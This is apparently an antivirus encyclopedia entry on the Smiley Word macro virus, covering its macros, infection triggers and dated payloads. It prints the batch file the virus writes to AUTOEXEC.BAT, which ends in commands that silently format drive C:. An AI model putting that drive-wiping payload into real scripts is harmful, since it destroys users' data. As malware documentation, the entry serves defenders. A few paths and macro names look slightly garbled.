Virus.MSWord.Smiley

Class Virus
Platform MSWord
Description

Technical Details


This is an encrypted Word macro virus. It contains 8 macros in both
NORMAL.DOT and infected files:


Timer, AutoExec, AutoExit, AutoOpen, DateiSpeichern, DateiSpeichernUnter,
DateiDrucken, DateiDruckenStandard

On AutoOpen the virus infects the system, on saving a file (DateiSpeichern,
DateiSpeichernUnter) the virus infects it.


On AutoExec the virus creates the parameter “Smiley=” in WIN.INI file in
[windows] section, and writes current date to there. On each start the
virus checks that parameter, and on 14th day after infection sets new
values for menu Tools/Options/UserInfo:


Name: Smiley Corporation
Initials: SC
Address: Greenpeace

These data then will be written to any document while editing.


The virus deletes menu items if they exist:


Datei/Makro…
Datei/Dokumentvorlage…
Ansicht/Symbolleisten…
Extras/Anpassen…

On 56th day the virus overwrites C:AUTOEXEC.BAT with the text that on
execution will display the messages and format the hard drive:

@ECHO OFF
CLS
ECHO Achtung !!! Stoppt alle Atomversuche !!!
Atomversuche bedeuten unseren sicheren Tod !!!
ECHO Achtung !!! Stoppt die Abholzung der Tropenwälder !!!
Kauft nie Gegenstände aus Tropenholz !!!
ECHO Achtung !!! Stoppt den Treibhauseffekt !!!
Er führt zu einer tödlichen Klimaveränderung !!!
ECHO.
ECHO (C) Smiley Corporation
ECHO.
ECHO !!! ABER JETZT IST ES ZU SPÄT !!!
ECHO.
CTTY NUL
C:DOSFORMAT.COM C: /U /AUTOTEST
C:WINDOWSCOMMANDFORMAT.COM C: /U /AUTOTEST

On 28th day the virus activates its Timer macro and calls it once per
minute. On each call this macro creates the Toolbar button “Smiley” that
displays one of the texts:

ACHTUNG !!! STOPPT ALLE ATOMVERSUCHE !!!
ATOMVERSUCHE BEDEUTEN UNSEREN SICHEREN TOD !!!
ACHTUNG !!! STOPPT DIE ABHOLZUNG DER TROPENWÄlDER !!!
KAUFT NIE GEGENSTÄNDE AUS TROPENHOLZ !!!
ACHTUNG !!! STOPPT DEN TREIBHAUSEFFEKT !!!
ER FÜHRT ZU EINER TÖDLICHEN KLIMAVERÄNDERUNG !!!

On AutoExit the virus displays the text:
Achtung !!! Stoppt alle Atomversuche !!!
Atomversuche bedeuten unseren sicheren Tod !!!
Achtung !!! Stoppt die Abholzung der Tropenwälder !!!
Kauft nie Gegenstände aus Tropenholz !!!
Achtung !!! Stoppt den Treibhauseffekt !!!
Er führt zu einer tödlichen Klimaveränderung !!!
© Smiley Corporation
On printing (DateiSpeichern and DateiDruckenStandard) the virus adds the
same text to the end of document.